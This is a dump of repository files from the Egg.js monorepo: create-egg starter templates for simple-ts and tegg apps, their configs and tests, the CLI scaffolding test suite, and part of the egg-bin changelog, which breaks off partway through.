    "content": "import { app } from '@eggjs/mock/bootstrap';\nimport { test, expect } from 'vitest';\n\ntest('sayHi should return hi, egg', async () => {\n  const ctx = app.mockContext();\n  const result = await ctx.service.test.sayHi('egg');\n  expect(result).toBe('hi, egg, TypeScript');\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/test/setup.ts",
    "content": "import { beforeAll, afterAll } from 'vitest';\n\n// https://vitest.dev/config/#setupfiles\n// export beforeAll and afterAll to globalThis, let @eggjs/mock/bootstrap use it\nObject.assign(globalThis, { beforeAll, afterAll });\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\",\n    \"declaration\": false\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/typings/index.d.ts",
    "content": "import 'egg';\n\ndeclare module 'egg' {}\n"
  },
  {
    "path": "tools/create-egg/src/templates/simple-ts/vitest.config.ts",
    "content": "import { defineConfig } from 'vitest/config';\n\nexport default defineConfig({\n  test: {\n    setupFiles: ['test/setup.ts'],\n  },\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/.vscode/launch.json",
    "content": "{\n  // Use IntelliSense to learn about possible attributes.\n  // Hover to view descriptions of existing attributes.\n  // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387\n  \"version\": \"0.2.0\",\n  \"configurations\": [\n    {\n      \"type\": \"node\",\n      \"request\": \"launch\",\n      \"name\": \"Egg Debug\",\n      \"runtimeExecutable\": \"npm\",\n      \"runtimeArgs\": [\"run\", \"dev\", \"--\", \"--inspect-brk\"],\n      \"console\": \"integratedTerminal\",\n      \"restart\": true,\n      \"autoAttachChildProcesses\": true\n    },\n    {\n      \"type\": \"node\",\n      \"request\": \"launch\",\n      \"name\": \"Egg Test\",\n      \"runtimeExecutable\": \"npm\",\n      \"runtimeArgs\": [\"run\", \"test:local\", \"--\", \"--inspect-brk\"],\n      \"autoAttachChildProcesses\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/README.md",
    "content": "# tegg app\n\n[Hacker News](https://news.ycombinator.com/) showcase using [tegg HTTPController](https://eggjs.org/basics/controller)\n\n## QuickStart\n\n### Development\n\n```bash\nnpm i\nnpm run dev\nopen http://localhost:7001/\n```\n\n### Deploy\n\n```bash\nnpm run build\nnpm start\n```\n\n### Npm Scripts\n\n- Use `npm run lint` to check code style\n- Use `npm test` to run unit test\n- se `npm run clean` to clean compiled js at development mode once\n\n### Requirement\n\n- Node.js >= 18.x\n- Typescript >= 5.x\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/_.gitignore",
    "content": "logs/\nnpm-debug.log\nnode_modules/\ncoverage/\n.idea/\nrun/\nlogs/\n.DS_Store\n.vscode\n*.swp\n*.lock\n*.js\n.eslintcache\n\napp/**/*.js\ntest/**/*.js\nconfig/**/*.js\napp/**/*.map\ntest/**/*.map\nconfig/**/*.map\n.package-lock.json\n.egg/"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/app/module/bar/controller/home.ts",
    "content": "import { Inject, HTTPController, HTTPMethod, HTTPMethodEnum, type Logger } from 'egg';\n\n@HTTPController({\n  path: '/',\n})\nexport class HomeController {\n  @Inject()\n  private logger: Logger;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: '/',\n  })\n  async index() {\n    this.logger.info('hello egg logger');\n    return 'hello egg';\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/app/module/bar/controller/user.ts",
    "content": "import { Inject, HTTPController, HTTPMethod, HTTPMethodEnum, HTTPQuery } from 'egg';\n\nimport { HelloService } from '../../foo/index.ts';\n\n@HTTPController({\n  path: '/bar',\n})\nexport class UserController {\n  @Inject()\n  private helloService: HelloService;\n\n  @HTTPMethod({\n    method: HTTPMethodEnum.GET,\n    path: 'user',\n  })\n  async user(@HTTPQuery({ name: 'userId' }) userId: string) {\n    return await this.helloService.hello(userId);\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/app/module/bar/package.json",
    "content": "{\n  \"name\": \"bar\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"bar\"\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/app/module/foo/index.ts",
    "content": "export { HelloService } from './service/HelloService.ts';\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/app/module/foo/package.json",
    "content": "{\n  \"name\": \"foo\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"foo\"\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/app/module/foo/service/HelloService.ts",
    "content": "import { SingletonProto, AccessLevel, Inject, type Logger } from 'egg';\n\n@SingletonProto({\n  // 如果需要在上层使用，需要把 accessLevel 显示声明为 public\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class HelloService {\n  // 注入一个 logger\n  @Inject()\n  private logger: Logger;\n\n  // 封装业务\n  async hello(userId: string): Promise<string> {\n    const result = { userId, handledBy: 'foo module' };\n    this.logger.info('[hello] get result: %j', result);\n    return `hello, ${result.userId}`;\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/config/config.default.ts",
    "content": "import { defineConfigFactory, type PartialEggConfig } from 'egg';\n\nexport default defineConfigFactory((appInfo) => {\n  const config = {\n    // use for cookie sign key, should change to your own and keep security\n    keys: appInfo.name + '_{{keys}}',\n\n    // add your egg config in here\n    middleware: [] as string[],\n\n    // change multipart mode to file\n    // @see https://github.com/eggjs/multipart/blob/master/src/config/config.default.ts#L104\n    multipart: {\n      mode: 'file' as const,\n    },\n  } as PartialEggConfig;\n\n  // add your special config in here\n  // Usage: `app.config.bizConfig.sourceUrl`\n  const bizConfig = {\n    sourceUrl: `https://github.com/eggjs/examples/tree/master/${appInfo.name}`,\n  };\n\n  // the return config will combines to EggAppConfig\n  return {\n    ...config,\n    bizConfig,\n  };\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/config/config.local.ts",
    "content": "import { defineConfig } from 'egg';\n\nexport default defineConfig({\n  // add your config here\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/config/config.prod.ts",
    "content": "import { defineConfig } from 'egg';\n\nexport default defineConfig({\n  // add your config here\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/config/config.unittest.ts",
    "content": "import { defineConfig } from 'egg';\n\nexport default defineConfig({\n  // add your config here\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/config/plugin.ts",
    "content": "import tracerPlugin from '@eggjs/tracer';\n\nexport default {\n  // enable tracer plugin\n  ...tracerPlugin(),\n};\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/package.json",
    "content": "{\n  \"name\": \"{{name}}\",\n  \"private\": true,\n  \"description\": \"Hello Egg.js\",\n  \"homepage\": \"https://github.com/YOUR_USERNAME/YOUR_REPO#readme\",\n  \"bugs\": {\n    \"url\": \"https://github.com/YOUR_USERNAME/YOUR_REPO/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"Author Name <author.name@mail.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/YOUR_USERNAME/YOUR_REPO.git\"\n  },\n  \"type\": \"module\",\n  \"scripts\": {\n    \"start\": \"eggctl start --daemon --title=egg-server-{{name}}\",\n    \"stop\": \"eggctl stop --title=egg-server-{{name}}\",\n    \"predev\": \"npm run clean\",\n    \"dev\": \"egg-bin dev\",\n    \"test:local\": \"cross-env NODE_OPTIONS=\\\"--import @oxc-node/core/register\\\" vitest run\",\n    \"pretest\": \"npm run clean && npm run lint -- --fix\",\n    \"test\": \"npm run test:local\",\n    \"preci\": \"npm run clean && npm run lint\",\n    \"ci\": \"npm run test:local -- --coverage\",\n    \"postci\": \"npm run prepublishOnly && npm start && sleep 10 && npm stop && npm run clean\",\n    \"lint\": \"oxlint --type-aware\",\n    \"typecheck\": \"tsgo --noEmit\",\n    \"build\": \"tsc\",\n    \"clean\": \"tsc -b --clean\",\n    \"prepublishOnly\": \"npm run clean && npm run build\"\n  },\n  \"dependencies\": {\n    \"@eggjs/scripts\": \"beta\",\n    \"@eggjs/tracer\": \"beta\",\n    \"egg\": \"beta\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/bin\": \"beta\",\n    \"@eggjs/mock\": \"beta\",\n    \"@eggjs/tsconfig\": \"beta\",\n    \"@oxc-node/core\": \"^0.0.35\",\n    \"@types/node\": \"24\",\n    \"@vitest/coverage-v8\": \"4\",\n    \"cross-env\": \"10\",\n    \"oxlint\": \"1\",\n    \"oxlint-tsgolint\": \"^0.11.0\",\n    \"typescript\": \"5\",\n    \"vitest\": \"4\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/test/app/module/bar/controller/home.test.ts",
    "content": "import { app } from '@eggjs/mock/bootstrap';\nimport { test, expect } from 'vitest';\n\ntest('should GET / status 200', async () => {\n  const res = await app.httpRequest().get('/');\n  expect(res.status).toBe(200);\n  expect(res.text).toBe('hello egg');\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/test/app/module/bar/controller/user.test.ts",
    "content": "import { app } from '@eggjs/mock/bootstrap';\nimport { test, expect } from 'vitest';\n\ntest('should GET /bar/user status 200', async () => {\n  const res = await app.httpRequest().get('/bar/user').query({ userId: '20170901' });\n  expect(res.status).toBe(200);\n  expect(res.text).toBe('hello, 20170901');\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/test/app/module/foo/service/HelloService.test.skip.ts",
    "content": "import { app } from '@eggjs/mock/bootstrap';\nimport { test, expect } from 'vitest';\n\nimport { HelloService } from '../../../../../app/module/foo/index.ts';\n\ntest('should hello() work', async () => {\n  const helloService = await app.getEggObject(HelloService);\n  const msg = await helloService.hello('123456');\n  expect(msg).toBe('hello, 123456');\n});\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/test/setup.ts",
    "content": "import { beforeAll, afterAll } from 'vitest';\n\n// https://vitest.dev/config/#setupfiles\n// export beforeAll and afterAll to globalThis, let @eggjs/mock/bootstrap use it\nObject.assign(globalThis, { beforeAll, afterAll });\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"compilerOptions\": {\n    \"target\": \"ES2022\",\n    \"module\": \"NodeNext\",\n    \"moduleResolution\": \"NodeNext\",\n    \"declaration\": false\n  }\n}\n"
  },
  {
    "path": "tools/create-egg/src/templates/tegg/vitest.config.ts",
    "content": "import { defineConfig } from 'vitest/config';\n\nexport default defineConfig({\n  test: {\n    setupFiles: ['test/setup.ts'],\n  },\n});\n"
  },
  {
    "path": "tools/create-egg/test/__snapshots__/cli.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`successfully scaffolds a project based on simple-ts starter template 1`] = `\n[\n  \".gitignore\",\n  \"README.md\",\n  \"app\",\n  \"config\",\n  \"package.json\",\n  \"test\",\n  \"tsconfig.json\",\n  \"typings\",\n  \"vitest.config.ts\",\n]\n`;\n\nexports[`successfully scaffolds a project based on tegg starter template 1`] = `\n[\n  \".gitignore\",\n  \".vscode\",\n  \"README.md\",\n  \"app\",\n  \"config\",\n  \"package.json\",\n  \"test\",\n  \"tsconfig.json\",\n  \"vitest.config.ts\",\n]\n`;\n"
  },
  {
    "path": "tools/create-egg/test/cli.test.ts",
    "content": "import fs from 'node:fs';\nimport { tmpdir } from 'node:os';\nimport path from 'node:path';\n\nimport type { SyncOptions, SyncResult } from 'execa';\nimport { execaCommandSync } from 'execa';\nimport { afterAll, afterEach, beforeAll, expect, test } from 'vitest';\n\nconst SRC_PATH = path.join(import.meta.dirname, '../src');\nconst CLI_PATH = path.join(SRC_PATH, 'cli.ts');\n\nconst projectName = 'test-egg-app';\nconst genPath = path.join(import.meta.dirname, projectName);\nconst genPathWithSubfolder = path.join(import.meta.dirname, 'subfolder', projectName);\nconst tempDirPrefix = path.join(tmpdir(), 'my-app-temp-');\nconst tempDir = fs.mkdtempSync(tempDirPrefix);\n\nconst run = <SO extends SyncOptions>(args: string[], options?: SO): SyncResult<SO> => {\n  options = options\n    ? {\n        ...options,\n        env: {\n          ...options.env,\n          // ignore NODE_OPTIONS\n          NODE_OPTIONS: undefined,\n        },\n      }\n    : undefined;\n  return execaCommandSync(`node ${CLI_PATH} ${args.join(' ')}`, options);\n};\n\n// Helper to create a non-empty directory\nconst createNonEmptyDir = (overrideFolder?: string) => {\n  // Create the temporary directory\n  const newNonEmptyFolder = overrideFolder || genPath;\n  fs.mkdirSync(newNonEmptyFolder, { recursive: true });\n\n  // Create a package.json file\n  const pkgJson = path.join(newNonEmptyFolder, 'package.json');\n  fs.writeFileSync(pkgJson, '{ \"foo\": \"bar\", \"type\": \"module\" }');\n};\n\nconst templateFiles = fs\n  .readdirSync(path.join(SRC_PATH, 'templates', 'tegg'))\n  // _gitignore is renamed to .gitignore\n  .map((filePath) => (filePath.startsWith('_') ? filePath.slice(1) : filePath))\n  .sort();\n\nconst clearAnyPreviousFolders = () => {\n  if (fs.existsSync(genPath)) {\n    fs.rmSync(genPath, { recursive: true, force: true });\n  }\n  if (fs.existsSync(genPathWithSubfolder)) {\n    fs.rmSync(genPathWithSubfolder, { recursive: true, force: true });\n  }\n};\n\nbeforeAll(() => clearAnyPreviousFolders());\nafterEach(() => clearAnyPreviousFolders());\nafterAll(() => fs.rmSync(tempDir, { recursive: true, force: true }));\n\nconst isNode20 = process.version.startsWith('v20.');\n\ntest.skipIf(isNode20)('prompts for the project name if none supplied', () => {\n  const { stdout } = run([]);\n  expect(stdout).toContain('Project name:');\n});\n\ntest.skipIf(isNode20)('prompts for the template if none supplied when target dir is current directory', () => {\n  fs.mkdirSync(genPath, { recursive: true });\n  const { stdout } = run(['.'], { cwd: genPath });\n  expect(stdout).toContain('Select a template:');\n});\n\ntest.skipIf(isNode20)('prompts for the template if none supplied', () => {\n  const { stdout } = run([projectName]);\n  expect(stdout).toContain('Select a template:');\n});\n\ntest.skipIf(isNode20)('prompts for the template on not supplying a value for --template', () => {\n  const { stdout } = run([projectName, '--template']);\n  expect(stdout).toContain('Select a template:');\n});\n\ntest.skipIf(isNode20)('prompts for the template on supplying an invalid template', () => {\n  const { stdout } = run([projectName, '--template', 'unknown']);\n  expect(stdout).toContain(`\"unknown\" isn't a valid template. Please choose from below:`);\n});\n\ntest.skipIf(isNode20)('asks to overwrite non-empty target directory', () => {\n  createNonEmptyDir();\n  const { stdout } = run([projectName], { cwd: import.meta.dirname });\n  expect(stdout).toContain(`Target directory \"${projectName}\" is not empty.`);\n});\n\ntest.skipIf(isNode20)('asks to overwrite non-empty target directory with subfolder', () => {\n  createNonEmptyDir(genPathWithSubfolder);\n  const { stdout } = run([`subfolder/${projectName}`], {\n    cwd: import.meta.dirname,\n  });\n  expect(stdout).toContain(`Target directory \"subfolder/${projectName}\" is not empty.`);\n});\n\ntest.skipIf(isNode20)('asks to overwrite non-empty current directory', () => {\n  createNonEmptyDir();\n  const { stdout } = run(['.'], { cwd: genPath });\n  expect(stdout).toContain(`Current directory is not empty.`);\n});\n\ntest.skipIf(isNode20)('successfully scaffolds a project based on tegg starter template', () => {\n  const { stdout } = run([projectName, '--template', 'tegg', '--overwrite'], {\n    cwd: import.meta.dirname,\n  });\n  const generatedFiles = fs.readdirSync(genPath).sort();\n\n  // Assertions\n  expect(stdout).toContain(`Scaffolding project with`);\n  expect(templateFiles).toEqual(generatedFiles);\n});\n\n// FIXME: Command failed with exit code 1: pnpm 'test:local'\ntest\n  .skipIf(process.platform === 'win32' || isNode20)\n  .skip('successfully scaffolds a project based on simple-ts starter template', () => {\n    const projectName = 'create-egg-test-simple-ts';\n    const { stdout } = run([projectName, '--template', 'simple-ts', '--overwrite'], {\n      cwd: tempDir,\n    });\n    const projectDir = path.join(tempDir, projectName);\n    const generatedFiles = fs.readdirSync(projectDir).sort();\n\n    // Assertions\n    expect(stdout).toContain(`Scaffolding project with`);\n    expect(generatedFiles).matchSnapshot();\n\n    // run test\n    const monoRepoDir = path.join(import.meta.dirname, '../../../');\n    const eggDir = path.join(monoRepoDir, 'packages/egg');\n    const mockDir = path.join(monoRepoDir, 'plugins/mock');\n    const binDir = path.join(monoRepoDir, 'tools/egg-bin');\n    const tracerDir = path.join(monoRepoDir, 'plugins/tracer');\n    execaCommandSync(`pnpm link ${mockDir} ${eggDir} ${binDir} ${tracerDir}`, {\n      cwd: projectDir,\n      env: { NODE_OPTIONS: undefined },\n    });\n    // execaCommandSync(`pnpm install`, { cwd: projectDir });\n    const { stdout: testStdout } = execaCommandSync('pnpm test:local', {\n      cwd: projectDir,\n      env: { NODE_OPTIONS: undefined },\n    });\n    expect(testStdout).toContain('2 passed');\n    // run typecheck\n    execaCommandSync('pnpm typecheck', {\n      cwd: projectDir,\n      env: { NODE_OPTIONS: undefined },\n    });\n  });\n\n// use \"@oxc-node/core/register\" to support decorator metadata\n// TODO: unstable on windows and CI\ntest\n  .skipIf(process.platform === 'win32' || process.env.CI || isNode20)\n  .skip('successfully scaffolds a project based on tegg starter template', () => {\n    const projectName = 'create-egg-test-tegg';\n    const { stdout } = run([projectName, '--template', 'tegg', '--overwrite'], {\n      cwd: tempDir,\n    });\n    const projectDir = path.join(tempDir, projectName);\n    const generatedFiles = fs.readdirSync(projectDir).sort();\n\n    // Assertions\n    expect(stdout).toContain(`Scaffolding project with`);\n    expect(generatedFiles).matchSnapshot();\n\n    // run test\n    // const monoRepoDir = path.join(import.meta.dirname, '../../../');\n    // const eggDir = path.join(monoRepoDir, 'packages/egg');\n    // const teggDir = path.join(monoRepoDir, 'tegg');\n    // const mockDir = path.join(monoRepoDir, 'plugins/mock');\n    // const binDir = path.join(monoRepoDir, 'tools/egg-bin');\n    // const tracerDir = path.join(monoRepoDir, 'plugins/tracer');\n    execaCommandSync(`pnpm install`, {\n      cwd: projectDir,\n      stdout: 'inherit',\n      stderr: 'inherit',\n      env: { NODE_OPTIONS: undefined },\n    });\n    // execaCommandSync(`pnpm link ${mockDir} ${eggDir} ${binDir} ${tracerDir} ${teggDir}`, {\n    //   cwd: projectDir,\n    //   stdout: 'inherit',\n    //   stderr: 'inherit',\n    //   env: { NODE_OPTIONS: undefined }, // enable tegg plugins for test\n    // });\n    const { stdout: testStdout } = execaCommandSync('pnpm test:local', {\n      cwd: projectDir,\n      env: { NODE_OPTIONS: undefined, DISABLE_TEGG_PLUGINS: 'false' }, // enable tegg plugins for test\n    });\n    expect(testStdout).toContain('2 passed');\n    // run typecheck\n    execaCommandSync('pnpm typecheck', {\n      cwd: projectDir,\n      env: { NODE_OPTIONS: undefined },\n    });\n  });\n\ntest.skipIf(isNode20)('works with the -t alias', () => {\n  const { stdout } = run([projectName, '-t', 'tegg', '--overwrite'], {\n    cwd: import.meta.dirname,\n  });\n  const generatedFiles = fs.readdirSync(genPath).sort();\n\n  // Assertions\n  expect(stdout).toContain(`Scaffolding project`);\n  expect(templateFiles).toEqual(generatedFiles);\n});\n\ntest.skipIf(isNode20)('accepts command line override for --overwrite', () => {\n  createNonEmptyDir();\n  const { stdout } = run(['.', '--overwrite', 'ignore'], { cwd: genPath });\n  expect(stdout).not.toContain(`Current directory is not empty.`);\n});\n\ntest.skipIf(isNode20)('return help usage how to use create-egg', () => {\n  const { stdout } = run(['--help'], { cwd: import.meta.dirname });\n  const message = 'Usage: create-egg [OPTION]... [DIRECTORY]';\n  expect(stdout).toContain(message);\n});\n\ntest.skipIf(isNode20)('return help usage how to use create-egg with -h alias', () => {\n  const { stdout } = run(['--h'], { cwd: import.meta.dirname });\n  const message = 'Usage: create-egg [OPTION]... [DIRECTORY]';\n  expect(stdout).toContain(message);\n});\n"
  },
  {
    "path": "tools/create-egg/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"exclude\": [\"src/templates/**/*.ts\", \"*.config.ts\"]\n}\n"
  },
  {
    "path": "tools/create-egg/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  unbundle: false,\n  entry: ['src/index.ts', 'src/cli.ts'],\n  copy: [\n    {\n      from: 'src/templates',\n      to: 'dist',\n    },\n  ],\n});\n"
  },
  {
    "path": "tools/create-egg/vitest.config.ts",
    "content": "import { defineProject } from 'vitest/config';\n\nexport default defineProject({\n  test: {\n    testTimeout: 20000,\n    exclude: ['**/node_modules/**', '**/dist/**', '**/templates/**/test/**'],\n  },\n});\n"
  },
  {
    "path": "tools/egg-bin/.vscode/launch.json",
    "content": "{\n  // Use IntelliSense to learn about possible attributes.\n  // Hover to view descriptions of existing attributes.\n  // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387\n  \"version\": \"0.2.0\",\n  \"configurations\": [\n    {\n      \"type\": \"node\",\n      \"request\": \"launch\",\n      \"name\": \"Egg Test\",\n      \"runtimeExecutable\": \"npm\",\n      \"runtimeArgs\": [\"run\", \"test-local\", \"--\", \"--inspect-brk\"],\n      \"autoAttachChildProcesses\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "tools/egg-bin/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 8.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\n## [7.3.1](https://github.com/eggjs/bin/compare/v7.3.0...v7.3.1) (2025-04-19)\n\n\n### Bug Fixes\n\n* properly quote paths ([#289](https://github.com/eggjs/bin/issues/289)) ([dcff9ac](https://github.com/eggjs/bin/commit/dcff9acd9419ff2eb7be4c189e68804ff71b01e8))\n\n## [7.3.0](https://github.com/eggjs/bin/compare/v7.2.0...v7.3.0) (2025-03-14)\n\n\n### Features\n\n* use mochawesome-with-mocha@8 ([#288](https://github.com/eggjs/bin/issues/288)) ([2e2e3cf](https://github.com/eggjs/bin/commit/2e2e3cf8f46833b76ff8619c96ccbd7fb56cd470))\n\n## [7.2.0](https://github.com/eggjs/bin/compare/v7.1.0...v7.2.0) (2025-02-13)\n\n\n### Features\n\n* support parallel tests ([#287](https://github.com/eggjs/bin/issues/287)) ([b3f2b6c](https://github.com/eggjs/bin/commit/b3f2b6cb531a6bef17ae12d4fcf1a2bfd9316263))\n\n## [7.1.0](https://github.com/eggjs/bin/compare/v7.0.4...v7.1.0) (2025-02-04)\n\n\n### Features\n\n* use egg-ts-helper@3 ([ebfc9c4](https://github.com/eggjs/bin/commit/ebfc9c44fed52c6a4e750f31332abb0abd1f1bb2))\n\n## [7.0.4](https://github.com/eggjs/bin/compare/v7.0.3...v7.0.4) (2025-02-04)\n\n\n### Bug Fixes\n\n* postinstall from root dir ([9033e50](https://github.com/eggjs/bin/commit/9033e504f49f87faf686c14becf916bc665f285d))\n\n## [7.0.3](https://github.com/eggjs/bin/compare/v7.0.2...v7.0.3) (2025-02-04)\n\n\n### Bug Fixes\n\n* enable postinstall ([#285](https://github.com/eggjs/bin/issues/285)) ([4406d92](https://github.com/eggjs/bin/commit/4406d927fab1be56891f23f86a85f0061bc313fd))\n\n## [7.0.2](https://github.com/eggjs/bin/compare/v7.0.1...v7.0.2) (2025-01-03)\n\n\n### Bug Fixes\n\n* auto import tsconfig-paths/register.js ([#282](https://github.com/eggjs/bin/issues/282)) ([515614a](https://github.com/eggjs/bin/commit/515614a2338381c5a5878c2af794a9b1964a2e90))\n\n## [7.0.1](https://github.com/eggjs/bin/compare/v7.0.0...v7.0.1) (2024-12-29)\n\n\n### Bug Fixes\n\n* auto set mocha @eggjs/mock/register on application project type ([#281](https://github.com/eggjs/bin/issues/281)) ([929c0f8](https://github.com/eggjs/bin/commit/929c0f8cac43a5798b207dd26d7b9ba26ae9ada1))\n\n## [7.0.0](https://github.com/eggjs/bin/compare/v6.13.0...v7.0.0) (2024-12-27)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\nuse https://oclif.io\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\n- **New Features**\n\t- Removed pull request template for contributors.\n\t- Introduced a new workflow for automating commit publishing.\n\t- Added scripts for executing Node.js applications in development mode.\n\t- Updated the README to reflect the new package name and other details.\n\t- Enhanced command classes for testing and development functionalities.\n\t- Added new utility functions for better path handling in tests.\n\t- Introduced new interface for package configuration.\n\t- Added support for TypeScript with updated configurations.\n\t- Implemented a new logging mechanism in hooks for better debugging.\n- Introduced a new class for managing server readiness in demo\napplications.\n\n- **Bug Fixes**\n- Adjusted import paths in tests for compatibility with new module\nstructure.\n\n- **Documentation**\n- Updated README and various documentation links to reflect changes in\npackage structure.\n\n- **Chores**\n- Updated package configurations, including versioning and dependencies.\n\t- Removed obsolete files and configurations from the project.\n\t- Enhanced test suite structure and clarity.\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#279](https://github.com/eggjs/bin/issues/279)) ([7078748](https://github.com/eggjs/bin/commit/7078748da943e07b4dcc5b213d7dcd417d2d6eee))\n\n## [6.13.0](https://github.com/eggjs/egg-bin/compare/v6.12.0...v6.13.0) (2024-12-11)\n\n\n### Features\n\n* use @eggjs/utils v4 ([#278](https://github.com/eggjs/egg-bin/issues/278)) ([aedf803](https://github.com/eggjs/egg-bin/commit/aedf803a863b082dc41ee9f6ed41b500dbfc902e))\n\n## [6.12.0](https://github.com/eggjs/egg-bin/compare/v6.11.0...v6.12.0) (2024-12-10)\n\n\n### Features\n\n* use runscript v2 ([#276](https://github.com/eggjs/egg-bin/issues/276)) ([8fac9ae](https://github.com/eggjs/egg-bin/commit/8fac9ae10380c5e768845e9ceb991549d1b3c4fe))\n\n## [6.11.0](https://github.com/eggjs/egg-bin/compare/v6.10.0...v6.11.0) (2024-12-08)\n\n\n### Features\n\n* use detect-port v2 ([#275](https://github.com/eggjs/egg-bin/issues/275)) ([4816db4](https://github.com/eggjs/egg-bin/commit/4816db4d0e111d9f46d8547a17b6cf430a89d225))\n\n## [6.10.0](https://github.com/eggjs/egg-bin/compare/v6.9.0...v6.10.0) (2024-06-11)\n\n\n### Features\n\n* [Snyk] Security upgrade c8 from 9.1.0 to 10.0.0 ([#272](https://github.com/eggjs/egg-bin/issues/272)) ([2535a8e](https://github.com/eggjs/egg-bin/commit/2535a8e57e2ae7482516bac2309d04cf69bac22d))\n\n## [6.9.0](https://github.com/eggjs/egg-bin/compare/v6.8.1...v6.9.0) (2024-05-08)\n\n\n### Features\n\n* use @eggjs/utils@3 ([#268](https://github.com/eggjs/egg-bin/issues/268)) ([cac459c](https://github.com/eggjs/egg-bin/commit/cac459c183c9d66e45dcb8bb9afd849a8814fa82))\n\n## [6.8.1](https://github.com/eggjs/egg-bin/compare/v6.8.0...v6.8.1) (2024-03-06)\n\n\n### Bug Fixes\n\n* fix execArgv not work in cov ([#255](https://github.com/eggjs/egg-bin/issues/255)) ([cc8c063](https://github.com/eggjs/egg-bin/commit/cc8c063df714a11bb5203a5c7ad84cb0b185229b))\n\n## [6.8.0](https://github.com/eggjs/egg-bin/compare/v6.7.0...v6.8.0) (2024-02-01)\n\n\n### Features\n\n* supports retrieving the port from the configuration file ([#251](https://github.com/eggjs/egg-bin/issues/251)) ([07e150f](https://github.com/eggjs/egg-bin/commit/07e150f0f1cae2a75353428c9d10b4e9a16fd0db))\n\n## [6.7.0](https://github.com/eggjs/egg-bin/compare/v6.6.0...v6.7.0) (2024-01-09)\n\n\n### Features\n\n* egg-ts-helper 1.30.3 to 2.1.0 ([#249](https://github.com/eggjs/egg-bin/issues/249)) ([34e3b92](https://github.com/eggjs/egg-bin/commit/34e3b928a2bb5114a8128429b29286d3dca5274d))\n\n## [6.6.0](https://github.com/eggjs/egg-bin/compare/v6.5.2...v6.6.0) (2024-01-07)\n\n\n### Features\n\n* should run ets on pkg.egg.declarations = true ([#248](https://github.com/eggjs/egg-bin/issues/248)) ([018801a](https://github.com/eggjs/egg-bin/commit/018801a241324626748c0d9ea90573349cd3d2fa))\n\n## [6.5.2](https://github.com/eggjs/egg-bin/compare/v6.5.1...v6.5.2) (2023-09-16)\n\n\n### Bug Fixes\n\n* ignore ExperimentalWarning on esm module ([#241](https://github.com/eggjs/egg-bin/issues/241)) ([6a2521a](https://github.com/eggjs/egg-bin/commit/6a2521a2c11ac9416a21b01b37aad50f50c9ff49))\n\n## [6.5.1](https://github.com/eggjs/egg-bin/compare/v6.5.0...v6.5.1) (2023-09-16)\n\n\n### Bug Fixes\n\n* use ts-node inside the egg-bin deps ([#240](https://github.com/eggjs/egg-bin/issues/240)) ([f13df56](https://github.com/eggjs/egg-bin/commit/f13df56a1dfd4e69822392c4ad47c6aa785f1cac))\n\n## [6.5.0](https://github.com/eggjs/egg-bin/compare/v6.4.2...v6.5.0) (2023-09-15)\n\n\n### Features\n\n* support run test/cov on esm package ([#239](https://github.com/eggjs/egg-bin/issues/239)) ([6ae1044](https://github.com/eggjs/egg-bin/commit/6ae10444af01cccfac19b2e4210f7fb06382e728))\n\n## 